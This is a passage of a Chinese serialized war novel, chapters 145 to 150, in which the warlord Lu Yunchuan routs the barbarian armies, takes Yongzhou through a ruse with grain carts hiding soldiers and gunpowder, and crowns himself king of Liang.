“大帅,你的确该听从萨武的意见,毕竟他是我们当中唯一一个进过凉州的人。” “可惜是被当成俘虏抓进去的。” “哈哈哈……” 嘲笑! 萨武紧紧攥着拳头,自上回被陆云川放回后,他便由副将降级为了百夫长,走到哪儿都被人看不起,只因为他是三千先锋军唯一一个活着回来的人。 “将军,属下句句忠言!” 萨武抱拳相劝。 赫连超有些不耐烦,昔日那赫连屠论关系还是他的族弟,虽说败军之将死便死了,但萨武作为赫连屠的副将,唯一苟且偷生之人,怎么都能待见他。 “你说的也不无道理,但凉州将军营扎得这么近,很明显是赤裸裸的挑衅,本将军若这都不应战,岂不是认怂了?” 赫连屠瞥了一眼萨武,轻哼:“我知道你迫切想要建功一雪前耻,今夜我便给你一个机会,跟随乌尔哈一起去袭营吧。” “不行!” 乌尔哈矢口拒绝,偏头轻蔑道:“谁不知道这家伙是个灾星,当谁的副将谁就得倒血霉,若将军让他跟我去,那我宁愿不去!” “乌尔哈,你血口喷人!” “不是么?你当班图将军的副将,他尸体到现在都没找着,你跟着赫连屠,他尸骨现在还留在白顶山下。” 乌尔哈冷声道:“哼,若非大帅仁慈,念在你以前有些军功,早就将你军法处置了!” 萨武拳头攥得邦邦响。 “行了,萨武,你退下吧,不过一次夜袭而已,你何必那么警觉?” 赫连超扭过头不予再理会。 萨武长叹一口气,摇了摇头,不说话了。 “将军且留在山头,半个时辰后,请赏凉州军营大火!” 乌尔哈用肩头撞开萨武,傲然走下丘陵。 第一百四十五章 全军列阵! 子夜。 乌尔哈率领五百轻骑兵,马蹄裹棉布静音,已摸索至前锋营二里开外。 “哼,果然守备力量薄弱,辕门修得这么低!” 乌尔哈冷冷一笑,回首眼神嗜血冲众骑道:“兄弟们,待会儿冲杀进营帐,直取敌方主将大帐,看准了头顶有盔缨的,杀了好回去领赏!” “明白!” “举火,冲锋!” 一千轻骑兵燃起火把,扬鞭策马向军营冲锋。 可刚冲进营帐,凉州小股守卫突然扇开,毫无防备姿态。 乌尔哈愣了神,一刀挑开帐篷,里面啥也没有,是空帐! 忽而营外传来一声冷笑: “蛮子,我们等候你们多时了!” “不好,我们中计了!” “快撤!” “放!” “嗖嗖嗖……” 飞箭,燃烧瓶,渔火油,一股脑从营帐外扔进来,片刻间便杀死了半数骑兵。 “贼将受死!” 石勇率领三千马步兵,从四面八方涌入空营,对参与的狼兵进行清剿。 战马惊嘶着将骑士甩入烈焰,皮甲在高温中扭曲形变! “快,冲杀出去!” 乌尔哈挥刀怒吼,欲带领残部杀出重围。 “嗖!” 一支寒铁飞箭,直穿其咽喉。 钱无命站在箭楼上,还摆着拉弓的姿势,他的箭向来列无需发! 主将已死,狼兵士气一崩,纷纷下马受降。 “城主有令,一计得逞,不可再用,拆走所有帐篷迅速往后撤,再割下狼君主将头颅入敌营!” “是!” …… 三十里外,丘陵之上。 “将军快看,敌营果然起火了!” “哈哈……乌尔哈将军果然神勇!” 众狼族武将望着远方耀眼的火光,纷纷大喜。 “报!” 一名蛮军斥候,跌跌撞撞跑上丘陵,手中还捧着一颗血淋漓的人头: “将……将军,乌尔哈中了敌人埋伏,劫了一座空营,五百轻骑兵……全军覆灭了!” “什么!!!” 赫连超与众武将脸上的笑容戛然而止,并不由自主将目光转移到了萨武身上。 萨武一脸淡定从容,甚至心中还有些许暗喜,不听话?该死! “呵呵呵……” 赫连超不怒反笑,“怪不得兀良阙会败在此人手中,凉州之主果然奸诈狡猾! 不过一次小小的失利,又何足挂齿呢?我狼族骑兵所向披靡,帐下将军个个骁勇善战! 传我军令,全军备战,三日后,用冲锋让蛮军血债血偿!” 说罢,板脸低头,走下丘陵。 …… 三日之后。 谁都想快速获得胜利。 正如周大彪的所说,平原野战,就两个字——“勇猛”。 阴山平原上,晨雾未散。 凉州军十万将士列阵而立,长矛如林,铁甲森然。 第一阵,三千铁盾兵,缔结黑色长墙,五千斩马刀、钩镰枪藏匿于其后; 第二阵,五千弓弩手,已箭在弦上; 第三阵,三千虎骑重甲,虎虎生威; 第四阵,三万黑甲军,呈现十五支方队,整齐如一; 第五阵,一万豹骑轻甲,护卫左右两翼; 第六阵,投石车,投弹器,重箭弩床,转破铁甲; 第七阵,陆云川带着马山等三百卫队,于战场大后方进行督战,而在他们背后,还专门修了一堵高墙,里面藏着“杀手锏”,也是决定胜负的第八阵! 八阵齐在,谁与争锋? 不时,远方地平线上缓缓浮现的黑色浪潮,赫连超带着十万大军也是列阵而来,大地几度震颤。 蛮军军阵要简单得多—— 前锋,五千重甲骑兵,成楔形冲锋阵; 两翼,两万轻甲骑兵,负责包抄袭扰; 中骏,五万狼族步兵,作为决胜力量; 两军相隔五十丈,在荒原上进行对峙。 风吹卑草“沙沙”作响,鹰击长空发出刺耳啼鸣,似在为接下来的血战提前预警。 大战一触即发! “喂!姓陆的,有本事便到阵前来,龟缩在军阵后,岂不是懦夫?” 赫连超高声嘲讽。 陆云川才不上去呢,他又不是武将,万一被暗箭偷袭了咋办? “你是什么狗屁东西!也敢与我家主公叫板?” 周大彪大骂道:“我家主公自然是稳压阵后,指挥作战!你这种小人物,压根儿就不需要他拔刀,老子一锤子便能敲碎你的脑袋!” “钱无命,让他尝尝神箭!” 钱无命拉弓射箭,一箭破空,袭向赫连超。 赫连超大惊,拔刀折断飞箭,虽然如此,也被突如其来的一箭吓得不轻,连忙往后缩了一段距离。 相隔五十来丈,已是两百步开外,旷野风吹的这么大,还差点儿能射中自己。 凉州有神射手啊! “赫连超,怕了不成!再将你的龟头露出来啊!” 周大彪哈哈大笑。 “可恨啊!” 赫连超怒拔弯刀,呵斥道:“将雍州降卒全部带上来,让他们先去探路!” “是!” 一万降卒被驱赶出阵前。 “给我冲!不许后退,否则乱箭射杀!” 降卒如羊群一般被鞭策,向凉州军阵发起冲锋。 掘子军原本挖掘的陷马坑,至少七成都被降卒用血肉踩塌。 “放箭!” 凉州军阵,万箭齐发。 降卒暴露在箭雨中死伤无数,连连往蛮军阵中后退。 “不许退!滚回去!” “放箭!” 蛮军以乱箭鞭策。 这便是降卒的悲哀,从他们放下兵器的那一刻,便注定沦为战场炮灰! 赫连超见陷马坑被踩得差不多,这才振臂发令: “碾碎他们!” “轰——” 五千重甲骑兵同时催动战马,铁蹄踏地,大地震颤。 骑兵如黑色洪流倾泻而下,战马披甲,骑士持三丈骑枪,铁甲在晨光中泛着冷冽寒芒。 冲锋之势,宛若天崩! “擂鼓助威!!!” “全军列阵!!!” 凉州军阵旗帜一挥,战鼓骤响,如闷雷滚过大地,气势丝毫不输蛮国! “放箭!” “崩!崩!崩!” 穿甲弓弩同时激发,破甲箭撕裂空气,化作一片钢铁暴雨,呼啸着砸向重甲骑兵! “噗!噗!噗!” 前排重甲骑兵战马嘶鸣,却只要不命中要害,依旧冲锋不减! 即便有人坠马,后续骑兵悍不畏死,踏着同袍尸体继续冲锋! 第一百四十六章 杀手锏! “第二波!放!” 弩箭再射,重甲骑兵人均身中数箭,可黑色洪流仍在逼近! “火器准备!” 重弩与投石机调整角度,火药罐,燃烧瓶,渔火油引线点燃,随着令旗挥下—— “轰!轰!轰!” 火药罐划破长空,在重甲骑兵阵中炸开! “啊——” 烈焰冲天,铁甲碎片四溅,蛮军骑士在火海中哀嚎,战马惊嘶,重甲骑兵的冲锋阵型终于出现混乱! 赫连超目眦欲裂:“不要停!冲过去!” 重甲骑兵终于冲入凉州军阵前百步! “盾阵——开!” 前排凉州军巨盾轰然分开,三千刀枪手翻滚而出,斩马刀、钩镰枪寒光闪烁! “砍!” “钩!” “喝!” 刀光如雪,战马前蹄齐断! “嘶——”重甲骑兵战马哀鸣栽倒,重甲骑士轰然坠地,还未爬起,凉州军长矛已贯穿咽喉! “杀!杀!杀!” 战场瞬间化作绞肉机,重甲骑兵冲锋被硬生生截断! 赫连超怒吼:“轻甲骑兵!两翼包抄!” 两万轻骑如银色闪电,从侧翼杀向凉州军! “大凉豹骑!冲锋!” 宋康持枪震吼,万余轻甲豹骑,向敌方骑兵冲锋。 “投弹!” 轻甲骑兵每人都配发有四个火药灌,先通通炸上一轮再说! “轰!轰!” 火焰炸开,狼国轻骑在火海中挣扎,战马惊惶乱撞,瞬间阵型大乱! “杀啊!” “大凉虎骑,冲锋!” “黑甲军,杀啊!” “狼族将士!随我杀!” 真正的血肉磨坊开始了! 每个人都像是发了疯,别说是敌人了,谁出现在眼前,那都是一阵刀砍斧劈! 人类兽性彻底被激发,刀砍断了便用手,手砍断了便用嘴咬! 凉州军阵持久未破,相比于蛮军,远程火力便体现出了优势,不停往蛮军阵中投放! 炸得硝烟四起,血肉横飞! 鏖战了接近一个时辰,蛮军颓势明显,重骑兵已折损大半,轻骑兵也被炸药彻底捣乱,唯有步兵还厮杀得火热! “嗷呜!” 忽然,荒原上响起一阵狼嚎。 上千名身骑灰狼的狼兵,从侧翼加入战场! 狼群身法敏捷,人兽同时作战,很快便将豹骑冲开了一个大缺口! “哈哈哈……想不到吧,我狼族还留有后手!” 赫连超怒吼:“姓陆的,快快滚出来送死!” 军阵后方的陆云川,冷笑了一声,你留有后手,未必我没有么? 他令旗再挥:“放铁甲战象。” 身后木围栏被掀开,三十头身披铁甲的巨象被同时放出! 正是先前从兀良阙手中缴获的铁甲战象营! 象背上安置得有象楼,十名精挑细选的神射手,人手一百支精铁飞箭,三十枚炸药罐! 陆云川亲自骑上战象,大手一挥:“冲向狼群!” “呜——” 三十头披甲战象仰天长啸,铁蹄踏地,如地震般轰鸣! “轰!轰!轰!” 象群冲入狼群! 狼再凶猛,也终究小只,在庞然大物面前,毫无防御可言! 一跺象足,踩死一只,一甩象鼻,扫飞一片! 象背上的神射手们同时射击,火药罐劈头盖脸地砸下,炸得狼群哀嚎四起,夹着尾巴往荒原逃窜。 有了铁甲战象的加入,凉州军士气大振,开始反向推进,且越战越勇! “将军,重骑兵已破,轻骑兵被冲散,步兵也快招架不住了!” “快撤吧!撤吧!” 赫连超咬牙怒瞪着战象上的陆云川,纵使有一千万个不甘心,可战局已然失利,再咬牙坚持只会全军覆灭。 “鸣金,撤退!” “撤!快掩护将军撤退!” “老子不需要你们掩护!” “当当当……” 鸣金声响彻战场,蛮军全线收拢,开始向后方撤退。 “穷寇莫追!” 陆云川象背上大声发令。 凉军虽胜,却已鏖战两个时辰,人马具已疲乏,绝不能再追。 “将士们,此战,胜利了!” 凉州众士卒,高举兵器欢呼。 “打扫战场,清点伤亡,回营吧。” 凉风卷着血腥味掠过荒原,一群秃鹫在战场上空盘旋,刺耳的鸣叫声仿佛在宣告战争结束。 直至夕阳西沉,凉军才从血海中将伤亡清点完成,此战,蛮军折损至少七万,凉州军也有将近三万伤亡。 仅仅一日的功夫,便死伤了十万人。 那“一将功成万骨枯”之言,看来还是谦虚了。 “报!蛮军大败后,赫连超连日拔营,率领残部已退回雍州城!” 千目堂斥候入大帐禀报。 “传令下去,全军休整,摆庆功宴,两日后,进军雍州城!” “是!” 两日之后,凉州军继续北上。 与此同时,大昭那边的战报也已送到。 大昭便没有凉州军这么神勇了,他们与鹰族相持已超过五日,双方互有胜负。 对于陆云川而言,也不期望大昭能赢,只要能拖住鹰族那十万大军即可; 至于谁先攻破雍州城,这事还不好下定论。 雍州城作为雍凉路第一要塞,城墙比凉州还要厚实。 据前方情报,城中除了赫连超带回去的三万狼兵,还有昔日虎族的两万余兵,再加上本身的雍州降卒,总共守城兵力有六万人。 若城中粮草足够,只要蛮军不给机会,坚持个一年半载都不成问题。 凉州军毕竟作为攻城方,十万大军人吃马嚼,肯定打不起消耗战。 何况万一大昭军败了,鹰族大军回调支援,凉州军将会面临被夹击的危险; 而若大昭军赢了,那么大昭也会兵临城下,到那时雍州又花落谁家呢? 时年四月十五,陆云川兵临雍州城,但并未急于攻城,而是在三十里外安营扎寨。 “报,赫连超在雍州东城门之上,悬了一口棺材,放言人在城在,人亡城亡!” 斥候进大帐禀报。 “怎么?蛮国人,也会用棺材么?” 陆云川冷冷一笑,当即令道:“钱无命。” “在。” “今夜你带几名神射手,摸到城门之下,放火箭去将它棺材烧了,他要是再抬出来就再烧,我看他给自己备了几口棺材!” “明白!” 第一百四十七章 攻心为上,攻城为下 “这群蛮子,实在太怂包了,我嗓子都快骂冒烟儿了,就是不肯出来迎战!” 周大彪气愤走进军帐,“当家的,不如让我领一队死士,试着强攻一波好了!” “大彪,你有老婆没有?”陆云川问道。 “没……”周大彪摇了摇头。 “那你还去送死干嘛?” 雍州城犹如铁桶一般,除非用尸体去填一座山,否则别想强攻进去。 《孙子兵法》云:“攻城之法为不得已。” 不到万不得已,强攻是次的手段。 攻城为下,攻心为上。 围而不攻,断其粮草与水源,才是眼下最可行的办法。 “好了,这才对峙的第五日,不要着急,骂累了就下去休息,休息好了明天继续去骂。”陆云川摆了摆手。 “是……” 周大彪挤着嘴角告退。 蛮军此次入关,属于远征长线作战,粮草势必不充足,也正因如此他们才会让战俘开山铺路,为的便是方便运送补给。 陆云川凉州再调了三万兵马,专门去阻断蛮国可能的运粮道,一粒米,一颗豆,都别想流入雍州城。 雍州城内接近四十万军民,人吃马嚼,粮食很快便会耗光。 一旦填不饱肚子,人吃人的乱象都可能发生。 当雍州城内部大乱时,便是攻城的最佳时机。 至于大昭与鹰族这边,由于陆云川围城断粮,鹰族的补给也已被切断。 眼下摆在鹰族面前只有两条路,要么北上迂回撤退,要么全力向东推进。 鹰族选择了第二条路,反正已经没了后续补给,不如一鼓作气向东猛攻,若能打进永兴军路,便可搜刮物资,以战养战。 眼下的鹰族像极了一头饿疯了的野狼,死死咬住了大昭军队。 为此大昭一连写了三封求援信送到凉州军营,要求陆云川分兵从背后夹击鹰族。 陆云川全当草纸拿去擦了屁股。 要我支援? 当然不可能! 若鹰族被破,大昭势必进军来抢夺雍州。 让他俩互相撕咬,别来打扰围城,是当下陆云川最想要的结果。 时年四月三十,围城的第十五日。 “当家的,好消息啊!” 刘马兴奋冲进大帐,“方才咱们的巡哨,逮住了几个用绳索偷跑出城的降卒,他们说蛮军正在挨家挨户搜刮粮食,只要是能吃的,连米糠都不放过!” 陆云川十分淡定,意料之中,雍州城断粮了。 “传我命令,暗中放出我军的运粮路线,再想办法让敌方斥候眼见为实,我要他们主动出城来劫粮。” “明白!” 为何这么做呢? 哪怕雍州再断粮,仍然有高墙防御,眼下破城时机已到,但仍然不能强攻,需要智谋赚取。 …… 夜。 深夜。 深更半夜。 两名蛮军斥候趴在草甸中,死死盯着前方小道上,一车又一车的凉州运粮队。 “快点儿快点儿,城主说了,必须在天亮前将这批粮草运到!” “刘老大,你说为啥粮仓要设在‘黄家湾’啊?每次运粮都要从货船上搬下来,白费功夫不是么?” “你他娘的小声点儿!这附近蛮军探子多,暴露了粮仓位置,你我十个脑袋都不够掉的!” “呸呸呸,我掌嘴,我掌嘴……” 对话声在空旷草原上格外清晰。 两个蛮军相视暗喜,等运粮队走远后,二人起身便往雍州城方向跑去。 不远处。 “刘老大,他们好像上钩儿了。” “哼,这俩王八蛋,在附近一带潜伏好久了,当初没拔掉他们看来是明智的。” 刘马冲黑暗中冷冷一笑,“走,咱们回去向城主复命。” …… 此刻,雍州军营。 赫连超坐在营帐中,冷冷盯着桌上半干不干的菜粥,他好歹也是一军元帅,没酒肉就算了,连口干的都没有么? “哼!这辈子就没受过这窝囊气!” 赫连超一巴掌拍飞了菜粥,大喊道:“所有狼族,虎族的武将,通通都给我进来!” 片刻后,三十余名蛮军将领进入大帐。 “传我军令,将仓中所有粮食分发下去,让将士们吃顿饱的,明日一早,出城决战!”赫连超大声发令。 “将军不可啊!” 虎族武将兀良劫率先出声反驳,“凉州兵马十五万,我军只有五万,战马器械又损失大半,出城迎战与我军不利!” “你给老子闭嘴!” 赫连超怒斥道:“谁让老子避战都行,就是你们兀良族的人不行! 若非当初兀良阙不听劝阻,非要执意强攻凉州,岂能将战象营落入那姓陆之手?老子又岂能遭遇平原惨败退守雍州城!” 兀良劫脸色一沉,退到一旁不说话了。 “城中粮食已手刮干净,再想找,就得以人肉为粮了!你们愿意吃人肉么?” 赫连超一拳头砸在桌上,“就这么决定了,明日辰时——” “报!” 两个蛮军斥候匆忙跑进营帐。 “报告大将军!我们已在城外探查到凉州军的粮仓与运粮道!” “哦?!” 赫连超“唰”一下便站了起来,所有武将也都亮了眼睛。 “快说说,在何处!” “出城向东南走莫约二十里,有一条小径可以直通‘黄家湾’渡口,凉州军的粮仓就屯于货船之上!” “真是天助我也!” 赫连超大喜,但下一刻又迟疑了,先前派人去袭营,已中过陆云川埋伏,这一次决不能太冒进。 “姓陆的诡计多端,为了避免有诈,你们两个速速再出城去,前往黄家湾再三确认!” “是!” 两个蛮族斥候应声退出营帐。 赫连超与众武将便在营中通宵等待。 直至四更时分,两个斥候再次回帐: “将军,确认过了,黄家湾果然停靠着三艘大货船,我们观察了半个时辰,他们正在用马车卸货!” “好啊!” 赫连超疑虑顿消,招呼道:“将萨武给我唤来!” 片刻后,萨武走进营帐。 “萨武,自打从白顶山回营,便一直饱受争议,今日本将军便给你一个将功赎过的机会。” 赫连超说道:“今夜子时,拨你一千轻骑兵,与兀良劫一起前往黄家湾渡口,劫取凉州粮草!此事你若能扮成,便恢复你的军官身份!” “末将……遵命!” 第一百四十八章 拿下雍州城 子夜。 蛮军悄悄打开南城门,分批次放出一千轻骑兵,皆马蹄裹着棉布,不燃火把,摸黑向黄家湾渡口靠近。 萨武心中是忐忑的。 一来陆云川对他有恩,虽说各为其主,可这心里多少有些愧疚。 二来他在陆云川手中吃过太多亏了,已经有些心理阴影。 此次劫粮会顺利么? “萨武卒长,你不用担心,斥候已探查过了,这片平原开阔无疑,以咱们的骑兵速度,就算被凉军发现了也奈何不了!” 兀良劫往嘴里灌了一口酒。 萨武沉着脸色,眼下城中缺粮缺水,他竟还有心思喝酒。 “还是谨慎些为好……” 一个时辰后。 轻骑兵来到黄家湾渡口,藏匿在侧面莫约两里开外的河塘边,以高耸的芦苇作掩护。 渡口上灯火通明,役夫正从船上搬粮,一袋接着一袋,装了一车又一车。 “粮仓果然在这儿,这下雍州城有粮了!” 兀良劫兴奋舔了舔嘴唇。 “再观察观察,免得附近有埋伏。”萨武沉声提醒。 “你胆子也太小了,负责后勤的都是些杂役,面对我军骑兵岂有招架之力?耽搁得太久,变故反而越多!” 兀良劫拔出弯刀,也不顾萨武提醒,大吼一声: “兄弟们,劫粮!” “杀啊!” “咚咚咚……” 骑兵向渡口发起冲锋。 “不好,有蛮子劫粮!” “快!快跑啊!” 役夫没做多久抵抗,被骑兵冲得一哄而散。 “哈哈,瞧瞧,我说吧,一群杂役民夫,岂可当我骑兵之势?” 兀良劫仰头大笑,随即招呼:“凉军若发现劫粮,势必会派骑兵前来追赶,快,将粮车套上战马,咱们运回城去!” 骑兵抓紧时间套车,带着五十多辆粮车,向雍州城里转运。 “兀良将军,我总觉得这一切太简单了……” 萨武越想越不对劲儿,以陆云川稠密的心思,怎可能这么轻松便被人劫粮呢? “你是想得太复杂了!” 兀良劫一刀插入粮车,白花花的大米散落而出,“这难道不是粮食么?” 看到粮食散落的那一刻,萨武担忧稍稍缓解了些,但他还是发令道:“分出四百骑兵,监视左右两翼,务必要打起十二分精神,堤防凉州军杀到!” 而就在不远处的丘陵上。 蛮军的一切行动,早已被陆云川一览无余。 “当家的,老熟人哩……走在最前面的那个,就是两次栽到你手里的倒霉蛋。”刘马走上丘陵禀报。 “马上就会有第三次了。” 陆云川摇头笑了笑,萨武啊萨武,看来你注定是要落在陆某手中。 “传令下去,马步兵准备,一旦勇士炸毁南城门,迅速杀入!” “是!” 粮食是真的粮食,劫粮也是主动被劫,但粮车底部各嵌了一百斤火药,内部也暗藏着勇士。 此计还有个洋气的名字,唤作“特洛伊木马”。 …… 半个时辰后。 运粮的骑兵已抵临南门。 赫连超亲自在城门上等待。 “赫连将军,是我们!五十车粮食,外加十车辎重!尽在于此!” 兀良劫傲然指向身后的战利品。 赫连超大喜,“快,放吊桥,开城门,这下终于有粮食吃了!” 吊桥与城门同时放下。 然而就在粮车被赶至城门口的刹那。 “噗呲!” 一柄柄钢刀突然从粮车内钻了出来。 粮食与辎重被一脚踹飞,赵猛啐去了一口嘴里的米糠,“他娘的,差点儿没憋死老子!” “蛮子,你们中计了!” 五十名勇士同时窜出粮车。 “不好!有埋伏!” “杀!” 赵猛一马当先,砍翻就近两名骑兵,抢走了火把引燃粮车。 “快快关城门!” 赫连超大吼。 “撞开城门!” 勇士们抵御骑兵,赵猛推起一辆燃烧的粮车,大吼冲向城门,在城门关闭的最后一刻,不偏不倚卡在了门缝中。 “滋滋滋……” 引线燃烧,硝烟升腾。 “要爆炸啦!” “快!跳河!” 赵猛与勇士飞身跳进护城河。 “这……这究竟是怎么一回事啊……” 兀良劫望着四起的粮车有些发懵。 “轰隆!” “轰隆隆!!!” 五十余辆粮车在城墙下引爆,炸塌了城门,炸断了吊索,兀良劫等轻骑兵瞬间被火光吞噬。 “大凉铁骑!” 黑夜中传来一阵嘶吼。 “嘟嘟嘟……” “咚咚咚……” 号角擂鼓声与马蹄并起,虎骑军团,豹骑军团,玄甲军团,高举着火把向南门冲锋。 “杀啊!” 火光透天,杀声震天! “快,防御!” 蛮军迅速调来弓弩手,箭雨飞扑而下。 虎骑兵身披铠甲,全然无惧,踏过吊桥便冲进了瓮城。 豹骑兵紧随其后,如蜂拥灌入瓮中。 玄甲军扛着云梯杀到,远方重弩与投石机,打出的炮火如流星陨落。 “轰轰轰!” 炸得城墙上的蛮军血肉横飞。 最后铁甲战象冲进瓮城,配合着破城部队,连破瓮城、内城三道城门! “杀蛮子啊!” 蛮军的防守如土崩瓦解,凉州军冲上城墙,刀刀见血奋力相搏。 “完了,全完了……” 赫连超面如死灰。 “将军,我们向东门撤退,杀出去与鹰族汇合!” 在众蛮国武将的血战之下,五百蛮兵杀到了东城门,可刚才将门一打开。 陆云川身骑黑马,携一千破甲军已在护城河彼岸等候多时了,全部箭在弦上,蓄势待发。 “赫连超,此役如何?” 陆云川缓缓摘下面具,火光映照脸庞,胜者傲姿,不可一世。 此刻宋康也领豹骑追杀至东城门下。 前有阻截,后有追击,蛮军已退无可退。 “陆云川!!!” 赫连超震怒暴呵:“放吊桥,出城决战!” 吊桥缓缓放下。 五百名蛮军杀声冲出。 陆云川大手轻轻一挥,“放箭!” “嗖嗖嗖……” 一阵乱箭齐发,蛮军相继倒地。 钱无命破空一箭,赫连超被穿喉而过,一代狼族元帅,跪死于城门之下。 五百蛮军的最后一舞,也就此落下了帷幕。 陆云川望了一眼战火连天的城池,嘴角微微一翘,缓缓扣上面具: “雍州已归本王所有。” 第一百四十九章 回凉州,抱娇妻 最后一缕硝烟城墙上消散,黎明第一缕曙光照耀大地,凉州军的战旗终于插上雍州城头。 城破后,陆云川并未入城,而是独自策马登上城外高地,广目所望山河,怎么欣赏都不够。 想要自立为王,天时,地利,人和,三者缺一不可。 眼下雍州城刚破,百姓仍然恐慌,野外还有鹰族未灭,时机尚未足够。 “当家的,孔嵩带到,这厮城破时,还想扮作流民逃跑,幸好我眼睛尖,给他逮了回来。” 赵猛拎着披头散发,一脸狼狈的孔嵩,丢到陆云川脚下。 “陆城主饶命啊,我也是迫不得已才投降蛮国,看在大家都是同族的份儿上,您绕我一命吧,我愿意归顺帐下!” 孔嵩抹泪求饶。 “通敌叛国,勾结土匪,操控堡寨,鱼肉百姓……若让你苟活,我如何与雍州军民交代?” 对于这类小人,陆云川一个字都不想再多说,“拖回城中,游街示众三日,再杀之削首,悬于城门,安抚黎民,以儆效尤。” “是!” “饶命啊!饶命……” 赵猛一拳砸晕孔嵩,拖着走下高地。 “当家的,萨武带到。” 周大彪连推带搡将萨武带到陆云川跟前。 萨武低着头,不敢正眼看,毕竟已经三次陷于此人之手了。 “如何?当初放你离开白顶山我便说过,你还会落在我手中,你服不服?” 陆云川偏头说道:“你要是不服的话,我还可以放了你,然后再抓住你。” “我心服口服!” 萨武咬了咬牙,低头愧疚,“可我一个蛮人,何德何能……” “大彪,你会因为他是蛮人,而嫌弃他么?”陆云川问道。 “只要你这家伙,愿意在战场上替我当刀子,我照样与你拜把子做兄弟!”周大彪用手背拍了拍萨武的胸膛。 陆云川回头看着萨武,挑眉嗯了一声。 “我,我……”萨武支支吾吾。 “哎呀,你也是个上阵杀敌的大老爷们儿了,这么婆婆妈妈的干嘛,还不赶快拜见主公!” 周大彪推搡了萨武一把。 这一推也打破了萨武心中的壁垒,是啊,如此贤良之主,还犹豫什么呢? “承蒙当家的屡次赦恩,末将萨武,愿身先士卒,效犬马之劳!” 萨武单膝跪地,抱拳示以忠诚。 甚幸!帐下又得一员虎骑猛将! “编入虎骑,司职先锋,若立战功……再升将军。” 陆云川摆了摆手,吩咐道:“大彪,带他下去喝酒,要灌醉。” “我……我不善饮酒……” “蛮国人不会喝酒?那你还不如从这山岗上跳下去!走走走……” 周大彪勾着萨武肩膀,连拖带拽往高地下带。 “刘马。” “属下在。” “传我命令,凉州军入雍州城,要严明纪律,不许趁乱劫掠,要分享军粮,安抚饥饿百姓,加快清剿蛮军余孽,修缮雍州城防御。” 雍州被破,鹰族必退,大昭必进。 眼下战略,当据城而守,将雍州城坐稳,才能准备称王。 “属下明白……那当家的你嘞?” “我?回凉州,抱娇妻。” …… 回到凉州城。 陆云川牵着大象刚至云清宫门。 “莽莽!” 苏萍儿飞扑而出,抱着象鼻趁脸亲昵。 “萍儿,为何你不先扑倒我怀里来啊?”陆云川撇着嘴角问道。 “我扑你怀里,婉清姐就没位置咯。”苏萍儿指了指门口。 李婉清手扶门框,含笑而立,俗话说“小别胜新婚”,一个多月没见,总感觉她圆润了不少。 “走,我要找你干一件大事。” 陆云川牵起李婉清快步往深宫走去。 “你回来也不通知一声,好歹让我用香皂洗个澡先……”李婉清跟在后头说。 “那件‘大事’晚上再干也不迟,我说的大事另有其事。” “如何?” “李小姐女红精湛,帮我绣一件袍服。” “什么袍服?” “丹青回龙袍。” 此话一出口,李婉清顿下了脚步。 龙袍……这意味着,这意味着…… 她眸光闪烁,激动不已,大半年前他还只是个土匪头子…… “怎么了,爱妃?” “没,我这便去!” …… 半个月后。 在凉州军与大昭军的联合夹击下,鹰族难以招架,几场平原野战失败,从北部迂回至阴山北端。 本次蛮军入关,三大部落元帅死了两个,二十万大军几乎全损,已无力再镇守山关。 铁门关,铁牢关,铁笼关的蛮军也全线后撤退回了蛮国。 凉州军配合白顶山与黑云山顺势而取,重新夺回三关十六隘,至此,雍凉的防线全部重回中原人之手。 雍州城已经安定。 天时,地利,人和,三要素已满足,称王时机已然来到。 时年五月十九,陆云川告别凉州。 城门外,大小官吏,万千百姓,夹道十里,含泪相送。 “陆头儿!可让我想死你啦!” 胡大勇冲上来便是一记拥抱,沈风含笑跟在其身后,“当家的,好久不见。” 好兄弟,好久不见,甚是想念! 不过大勇还是这么虎…… “好了好了,你能把我勒死……” 陆云川好气又好笑,轻轻推开胡大勇,扭头冲送行的李良等人道: “叔父,今后这凉州城便交给你来打理了。” 凉州规模比雍州还是要小上不少,建都还是选在雍州比较合适。 今后凉州作为战略要塞,雍州作为政治中心,相辅相成,最佳格局。 李良喜极而泣,不停擦着眼泪,“没想我到读了四十多年的书,都一把年纪了,还能当上国丈……” 那也得感谢你生了个贤惠美丽的女儿! “庄主,车驾已经准备好了。” 马山带着卫队与车驾来到城门口。 “走吧。” 离别无需多言,来日自会再见。 陆云川翻身骑上马背,苏萍儿扶着李婉清坐入马车,胡大勇在左,沈风在右。 “出发!” 王驾车队于万民相送,浩浩荡荡驶向雍州。 一席风华出凉州,从此踏上成王路! 第一百五十章加冕为王 当夜,陆云川在雍州城外官驿暂歇。 翌日清晨,换上丹青回龙袍,正式踏足雍州城。 未至十里,雍州全境州、县、乡、镇、村,百姓夹道而迎,齐声欢呼。 入城之后,中央广场,万军列阵,旌旗蔽空。 三通鼓响,号角长鸣! 雍凉之地,历代王朝出过不少王侯,加冕仪式皆在这“割鹿台”之上。 眼下,陆云川身披龙袍,一步步踏上高台。 台下,十万将士单膝跪地,百姓匍匐相迎,齐声高呼: "恭迎我王!" 声震九霄,山河激荡! 雍城八名百岁老人,共举一顶王冠缓步奉上: "陆云川,英雄当空,驱除鞑虏,救万民于水火,开雍凉之太平,今日以雍州之胜,承天命,即王位!" 金冠缓缓落下,陆云川闭目,脑海中闪过无数画面—— 初年,不过边关一小百夫,狼狈踏上流亡路; 又年,提染血之刀,火并匪寨,自立为主; 如今,铁血征战,终成帝王! 这一路的艰难与坎坷,犹如乌云雾霾,烟消云散! 这一刻的雄心与壮志,犹如大河东去,奔流不息! 他睁开眼,眸中锋芒如电,声音低沉而坚定: "今日起,我陆云川,立国号''凉'',建元''天启''!" "凡我凉国子民,必享太平!" "凡我凉国疆土,必无人敢犯!" "凡我凉国将士,必荣耀加身!" 三声誓言,掷地有声! 台下,十万将士拔刀向天,百姓热泪盈眶,怒吼如雷: "凉王万岁!" …… 凉王宫殿,便设在割鹿台旁。 建造新的宫殿实在太废财力,还是以勤俭持家为主,有现成儿的宫殿便将就着住下。 名字仍然叫做云清宫。 陆云川不会一直屈身雍州,在王权之上,还有至高无上的帝权,大一统江山才是他终极追求。 加冕大典过后,陆云川便换上了平日的素衣,他还是希望能够低调些。 欲戴王冠,必承其重;不承其重,必被人夺。 穿上龙袍,戴上王冠,成就王位,意味着更重的责任,将会迎来更大的敌人。 西边的蛮国虽然败退回关外,但势力犹在; 东边的大昭王朝肯定不会容忍新王的崛起; 北边还有北狄人虎视眈眈; 南边诸多少数民族羁縻州早已蠢蠢欲动; 未来挑战,太多太多。 帝王之路,刚刚开始。 不过这天下,终将在陆云川手中归于太平,既寿永昌。 既已建国,便不再是割据政权,当有朝廷与官制。 雍凉不是什么大地方,用不着太过复杂,文官负责政治民生,武官负责带兵打仗,各司其职即可。 